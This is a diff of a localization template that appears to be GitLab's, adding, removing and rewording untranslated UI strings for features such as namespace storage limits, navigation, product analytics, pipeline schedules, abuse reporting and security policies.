+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
